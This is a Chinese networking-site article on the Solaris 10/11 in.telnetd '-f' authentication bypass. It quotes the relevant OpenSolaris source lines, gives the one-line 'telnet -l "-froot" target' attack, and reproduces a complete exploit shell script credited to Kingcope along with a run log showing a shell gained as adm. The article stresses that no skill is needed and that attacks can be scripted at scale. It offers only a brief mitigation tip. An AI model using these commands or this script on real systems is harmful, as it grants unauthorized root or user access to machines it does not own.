時(shí)間：2015-06-28 00:00:00 來源：IT貓撲網(wǎng) 作者：網(wǎng)管聯(lián)盟 我要評(píng)論(7)
對(duì)于telnet服務(wù)的使用我們這里主要講解一下Solaris系統(tǒng)中的一些應(yīng)用。那么首先然我們了解一下Solaris系統(tǒng)的相關(guān)內(nèi)容和telnet的功能吧。如果你的Solaris系統(tǒng)運(yùn)行了telnet服務(wù)程序, 你將會(huì)感到十分驚訝: 只需執(zhí)行一個(gè)簡(jiǎn)單的步驟就可以獲得root權(quán)限(也可以是其它用戶權(quán)限). 該漏洞的全稱是: Solaris 10/11系統(tǒng)上的telnet遠(yuǎn)程root漏洞(或SunOS 5.10/5.11 in.telnetd 遠(yuǎn)程漏洞). 無需任何技巧和漏洞知識(shí), 你就可以通過腳本執(zhí)行大規(guī)模的攻擊. 完整的漏洞利用方法可以從該pdf文章獲得(或從文章下面的漏洞代碼解釋部分). 下面簡(jiǎn)單介紹一下如何利用該漏洞. 基本上你可以在telnet命令的-l選項(xiàng)后指定任何一個(gè)"-fusername"參數(shù), fusername可以是任何你需要的用戶名, 比如bin, root等. 執(zhí)行telnet后可以得到fusername指定的用戶權(quán)限. 比如:
telnet -l "-fbin" target_address
看到這里請(qǐng)禁止您solaris系統(tǒng)上的telnet程序. 另外該漏洞的HEV數(shù)據(jù)可以從ErraSec網(wǎng)站下載.
注: Solaris 10的默認(rèn)安裝不會(huì)受到該漏洞的影響. 如果你修改了/etc/default/login配置文件中的CONSOLE變量, 你將只能通過本地控制臺(tái)root登陸系統(tǒng). 當(dāng)然如果你注釋掉了CONSOLE這一行的話, 任何用戶都將可以通過本地或遠(yuǎn)程方式利用telnet漏洞.
telnet -l "-froot" target_address
漏洞代碼解釋
下面的漏洞代碼適用于SunOS 5.10/5.11系統(tǒng)上的in.telnetd程序, 原作者是Kingcope.
首先看Opensolaris的源代碼:
1.CODE:
2./usr/src/cmd/cmd-inet/usr.sbin/in.telnetd.c
3.3198
4.3199 } else /* default, no auth. info available, login does it all */ {
5.3200 (void) execl(LOGIN_PROGRAM, "login",
6.3201 "-p", "-h", host, "-d", slavename,
7.3202 getenv("USER"), 0);
8.3203 }
9./usr/src/cmd/login/login.c
10.1397 break;
11.1398
12.1399 case 'f':
13.1400 /*
14.1401 * Must be root to bypass authentication
15.1402 * otherwise we exit() as punishment for trying.
16.1403 */
17.1404 if (getuid() != 0 || geteuid() != 0) {
18.1405 audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;
19.1406
20.1407 login_exit(1); /* sigh */
21.1408 /*NOTREACHED*/
22.1409 }
23.1410 /* save fflag user name for future use */
24.1411 SCPYL(user_name, optarg);
25.1412 fflag = B_TRUE;
看完上面后, 我們可以通過設(shè)置USER環(huán)境變量"-fusername"來獲得需要的用戶權(quán)限, 新的用戶登陸無需口令驗(yàn)證.
下面是正式的漏洞利用代碼(稱作sunos):
---開始---
1.#!/bin/sh
2.# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL
3.#
4.# *********************ATTENTION********************************
5.# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES
6.# (C) COPYRIGHT Kingcope, 2007
7.#
8.################################################################
9.echo ""
10.echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope [email protected]"
11.if [ $# -ne 2 ]; then
12.echo "./sunos "
13.echo "./sunos localhost bin"
14.exit
15.fi
16.echo ""
17.echo "ALEX ALEX"
18.echo ""
19.telnet -l"-f$2" $1
---結(jié)束---
然后執(zhí)行漏洞程序:
1.$ ./sunos adm
2.SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope [email protected]
3.ALEX ALEX
4.Trying .
5.Connected to .
6.Escape character is '^]'.
7.Last login: Wed Feb 7 16:28:19 from
8.Sun Microsystems Inc. SunOS 5.10 Generic January 2005
9.$ uname -a;id
10.SunOS library7 5.10 Generic_118833-33 sun4u sparc SUNW,Sun-Fire-V245
11.uid=4(adm) gid=4(adm)
12.$
我們看到, 執(zhí)行sunos腳本后, 執(zhí)行者獲得了adm帳戶權(quán)限.
關(guān)鍵詞標(biāo)簽：Solaris,Telnet
相關(guān)閱讀
熱門文章
路由器地址大全-各品牌路由設(shè)置地址
各品牌的ADSL與路由器出廠默認(rèn)IP、帳號(hào)、密碼
Nslookup命令詳解-域名DNS診斷
站長(zhǎng)裝備：十大網(wǎng)站管理員服務(wù)器工具軟件
人氣排行 各品牌的ADSL與路由器出廠默認(rèn)IP、帳號(hào)、密碼 路由器地址大全-各品牌路由設(shè)置地址 騰達(dá)路由器怎么設(shè)置？騰達(dá)路由器設(shè)置教程 ADSL雙線負(fù)載均衡設(shè)置詳細(xì)圖文教程 路由表說明(詳解route print) Nslookup命令詳解-域名DNS診斷 網(wǎng)管員實(shí)際工作的一天 網(wǎng)管必會(huì)！了解交換機(jī)控制端口流量